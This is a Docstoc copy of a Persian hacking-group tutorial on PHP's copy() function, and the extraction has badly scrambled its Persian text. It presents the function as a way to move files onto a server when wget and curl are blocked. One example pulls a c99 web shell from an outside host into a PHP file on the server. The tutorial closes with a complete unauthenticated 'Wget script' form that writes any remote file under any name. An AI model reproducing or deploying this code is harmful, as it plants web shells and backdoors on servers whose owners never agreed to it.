Docstoc

copy

Document Sample
copy Powered By Docstoc
					‫7002‬

‫ﮔﺮوه اﻣﻨﯿﺘﯽ آرﯾﺎ‬
‫ﺳﺮی ﻣﻘﺎﻻت ‪PHP‬‬

‫در ﺳﺮی ﻣﻘﺎﻻت ‪ PHP‬اﯾﻦ ھﺪف را دارﯾﻢ ﺗﺎ ﺷﻤﺎ را ﺑﺎ ﺗﻮاﺑﻊ‬ ‫‪ PHP‬آﺷﻨﺎ ﺳﺎزﯾﻢ. اﯾﻦ ﻣﻘﺎﻟﻪ در ﻣﻮرد ﺗﺎﺑﻊ )(‪ Copy‬ﻣﯽ ﺑﺎﺷﺪ‬

‫‪Sc0rpion‬‬ ‫‪Aria Security Team‬‬ ‫7002/81/8‬

‫ﻣﻘﺎﻟﻪ : ﻣﺜﺎل ھﺎی ﮐﺎرﺑﺮدی ‪php‬‬ ‫ﺳﻄﺢ : ﻣﻘﺪﻣﺎﺗﯽ‬ ‫ﺗﺎﺑﻊ: )(‪copy‬‬ ‫ﺧﻮب ﺧﯿﻠﯽ ھﺎ ﺳﻮاﻻﺗﯽ از اﯾﻦ ﻗﺒﯿﻞ ﻣﯿﭙﺮﺳﻦ :‬ ‫ﭼﻪ ﺟﻮری ﻓﺎﯾﻞ ﺧﻮدﻣﻮن رو رو ﺳﺮور ﺑﺮﯾﺰﯾﻢ , ﭼﺠﻮری ﯾﮏ ﻓﺎﯾﻞ رو از ﯾﮏ ﺳﺎﯾﺖ ﻣﺴﺘﻘﯿﻢ ﺑﻪ ھﺎﺳﺖ‬ ‫ﺧﻮدﻣﻮن ﺑﯿﺎرﯾﻢ , ﭼﻪ ﺟﻮری وﻗﺘﯽ ‪ wget & curl & lwp-download‬ﺑﺴﺘﺲ ﻓﺎﯾﻞ ﺧﻮد رو از ﻃﺮﯾﻖ ﮐﻨﺴﻮل‬ ‫ﻣﻨﺘﻘﻞ ﮐﻨﯿﻢ و ....‬ ‫ﺧﯿﻠﯽ ھﺎ ھﻢ از اﺳﮑﺮﯾﭙﺘﮫﺎی اﻣﺎده اﺳﺘﻔﺎده ﻣﯿﮑﻨﻦ ﯾﺎ از ﺑﻌﻀﮫﺎی آﭘﻠﻮدر ﺷﻞ اﺳﮑﺮﯾﭙﺘﮫﺎ ﺑﺪون اﯾﻨﮑﻪ اﺻﻼ"‬ ‫ﻧﮕﺎھﯽ ﺑﻪ ﮐﺪ ﺑﻨﺪازن ﯾﺎ ﺷﯿﻮه رو ﺑﺪوﻧﻦ !‬ ‫ﺷﻤﺎ ﺑﺎ اﺳﺘﻔﺎده از ﯾﮏ ﺗﺎﺑﻊ ‪ php‬ﺧﯿﻠﯽ ﮐﺎر ﻣﯿﺘﻮﻧﯿﺪ اﻧﺠﺎم ﺑﺪﯾﺪ . ﺧﻮب ﻣﻦ ﻃﺮز اﺳﺘﻔﺎده از اﯾﻦ ﺗﺎﺑﻊ رو ﺷﺮح‬ ‫ﻣﯿﺪم ھﺮ ﭼﻨﺪ اﺑﺘﺪاﯾﯽ وﻟﯽ ﮐﺎرﺑﺮدی !‬ ‫ﻧﮕﺎه ﮐﻠﯽ ﺑﻪ اﯾﻦ ﺗﺎﺑﻊ :‬ ‫ﺗﺎﺑﻊ ﮐﭙﯽ ﺗﻮ ورژن ھﺎی 5 – 4 ﻗﺎﺑﻞ اﺳﺘﻔﺎده ﮐﺎرش ھﻢ ﮐﭙﯽ ﮐﺮدن ﻓﺎﯾﻞ ھﺴﺖ . اﯾﻨﻢ ﺣﺎﻟﺖ ﮐﻠﯽ :‬ ‫) ‪copy ( string $source, string $dest‬‬ ‫ﺧﻮب ﯾﻪ ﮐﭙﯽ از ﻣﺘﻐﯿﺮ ‪ $source‬ﻣﯿﮕﯿﺮه , اﺳﻢ + ﭘﺴﻮﻧﺪ رو ھﻢ از ﻣﺘﻐﯿﺮ ‪ $desk‬ﻣﯿﮕﯿﺮه و ﻓﺎﯾﻞ رو ﮐﭙﯽ‬ ‫ﻣﯿﮑﻨﻪ . ﺧﻮب اﯾﻦ ﻣﺜﻞ ھﻤﻮن ‪ copy‬در ‪ cmd‬ھﺴﺖ ﺑﺮای ‪ cut‬ﺑﺎﯾﺪ از ﺗﺎﺑﻊ )(‪ rename‬اﺳﺘﻔﺎده ﮐﻨﯿﺪ ﮐﻪ ﮐﺎر ﺑﻪ‬ ‫اون ﻧﺪارﯾﻢ !‬ ‫ﺗﻮﺟﻪ ﮐﻨﯿﺪ ﮐﻪ اﮔﻪ دﻗﯿﻘﺎ" ﻓﺎﯾﻠﯽ ﺑﺎ ھﻤﻮن اﺳﻢ + ﭘﺴﻮﻧﺪی ﮐﻪ در ‪ $desk‬ﻣﯿﺪﯾﻢ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﻪ ﻓﺎﯾﻞ‬ ‫‪ overwrite‬ﻣﯿﺸﻪ ! در ﻣﻮرد ﻣﻘﺪار ھﻢ دو ﻣﻘﺪار رو ﺑﯿﺸﺘﺮ ﺑﺮ ﻧﻤﯿﮕﺮدوﻧﻪ : ‪true or false‬‬ ‫ﯾﻪ ﻣﺜﺎل ﺳﺎده :‬ ‫‪<?php‬‬ ‫;'‪$file = 'example.txt‬‬ ‫;'‪$newfile = 'example.txt.bak‬‬ ‫;)‪copy($file, $newfile‬‬ ‫>?‬

‫2‬

‫‪Written By Scorp!0n | Aria Security Team‬‬

‫ ھﻤﻮﻧﺠﺎ‬example.txt.bak ‫ ﯾﮏ ﻧﺴﺨﻪ ﺑﺮﻣﯿﺪاره و ﺑﺎ‬example.txt ‫ﺧﻮب اﯾﻦ ﻣﺜﺎل ﻟﻮﮐﺎل ﺑﻮد ! ﻣﯿﺒﯿﻨﯿﺪ ﮐﻪ از‬ ! ‫ ﻣﯿﮑﻨﻪ‬paste

: ‫ﯾﮏ ﻣﺜﺎل دﯾﮕﻪ‬ <?php $remotefile = "http://sc0rpion.ir /c-99.txt"; $filetype = "sc0rpion.php"; copy($remotefile,$filetype); ?> . ‫ﺷﻞ رو از ﯾﻪ ھﺎﺳﺖ ﺑﻪ ﻣﺤﻞ ﻣﻮرد ﻧﻈﺮ ﻣﯿﺮﯾﺰه‬ : ‫ ﮐﺎﻣﻞ ﺗﺮش ﮐﻨﯿﺪ‬if ‫ﺷﻤﺎ ﻣﯿﺘﻮﻧﯿﺪ ﺑﺎ‬ if(copy($remotefile, $filetype)){ echo"The File Was Transfered Successfully, aT ---> www.[site][path]/$filetype\n"; }else if(empty($remotefile)){} else{ echo "Status : CaN't copy $newfile...\n"; } : ‫اﮔﻪ ﺣﺠﻢ ﻓﺎﯾﻞ ﺷﻤﺎ زﯾﺎد ﺑﺎﺷﻪ و ﮐﭙﯽ ﺑﯿﺸﺘﺮی 03 ﺛﺎﻧﯿﻪ ﺑﺸﻪ ارور ﻣﯿﺪه ﭘﺲ‬ set_time_limit(0); ‫ ﺷﺮوع ﺑﺸﻪ ! و ﮔﺮﻧﻪ ﺗﺎﺑﻊ دﻧﺒﺎﻟﻪ ﻓﺎﯾﻞ ﺑﻪ ﺻﻮرت ﻟﻮﮐﺎل‬http:// ‫ﻧﮑﺘﻪ : ﺣﺘﻤﺎ" ﺑﺎﯾﺪ آدرس ﻓﺎﯾﻞ ﻣﻮرد ﻧﻈﺮ ﺑﺎ‬ ( ‫ﻣﯿﮕﺮده )ﻣﺜﻞ اوﻟﯿﻦ ﻣﺜﺎل‬ : ‫ﺷﻤﺎ ﻣﯿﺘﻮﻧﯿﺪ ﻣﺘﻐﯿﺮ ھﺎرو ﺑﻪ ﺻﻮرت ﯾﮏ ﻓﺮم ﺑﮕﯿﺮﯾﺪ ﮐﻪ ﺧﯿﻠﯽ اﺳﮑﺮﯾﭙﺖ ﺷﻤﺎ ﮐﺎﻣﻠﺘﺮ ﻣﯿﺸﻪ‬ Echo “"<center><form method='POST' action='’> <input type='text' size='10' name='type' >

3

Written By Scorp!0n | Aria Security Team

<input type='text' size='30' name='wget' > <input type='submit' value='Transfer'><br>"; $remotefile = $_POST['wget']; $filetype = $_POST['type']; : ‫ﺧﻮب اﯾﻦ ھﻢ ﮐﻞ ﮐﺪ‬ <body bgcolor="#000000" text="#00FF00"> <?php //Transfer Your Own file [ + ] coded by sc0rpion //**************************************************************************** *** $_type = ‘*.*’; $_url =’http:// ‘; set_time_limit(0); echo"</td></tr><table border=4 width=100% style=\"border-style:solid; border-width:1px; color: #00FF00; background-color: \"#000000\" bordercolorlight=\"#000000\" bordercolordark=\"#000000\">"."<tr><td>" ."<b><font size=\"4px\" face=\"verdana\">"."<font size=\"-2\"><b>Wget script : </b><br><center> <form method='POST' action=''>". "<b><font size=\"4px\" face=\"verdana\">"."<font size=\"-2\">"."Insert file name & type\n" ."<input type='text' size='10' name='type' value='$_type'>". "<center> <form method='POST' action=''> <input type='text' size='30' name='wget' value='$_url'> <input type='submit' value='Transfer'><br>"; $remotefile = $_POST['wget']; $filetype = $_POST['type']; 4 Written By Scorp!0n | Aria Security Team

if(copy($remotefile, $filetype)){ echo" <b><font size=\"4px\" face=\"verdana\">"."<font size=\"-2\">"." Status : The File Was Transfered Successfully, aT ---> www.[site][path]/$filetype\n"; }else if(empty($remotefile)){} else{ echo "<b><font size=\"4px\" face=\"verdana\">"."<font size=\"-2\">"." Status : CaN't copy $newfile...\n";} print ("</td><tr>"); ?>

5

Written By Scorp!0n | Aria Security Team

6

Written By Scorp!0n | Aria Security Team


				
DOCUMENT INFO
Shared By:
Categories:
Tags:
Stats:
views:588
posted:11/13/2009
language:Persian
pages:6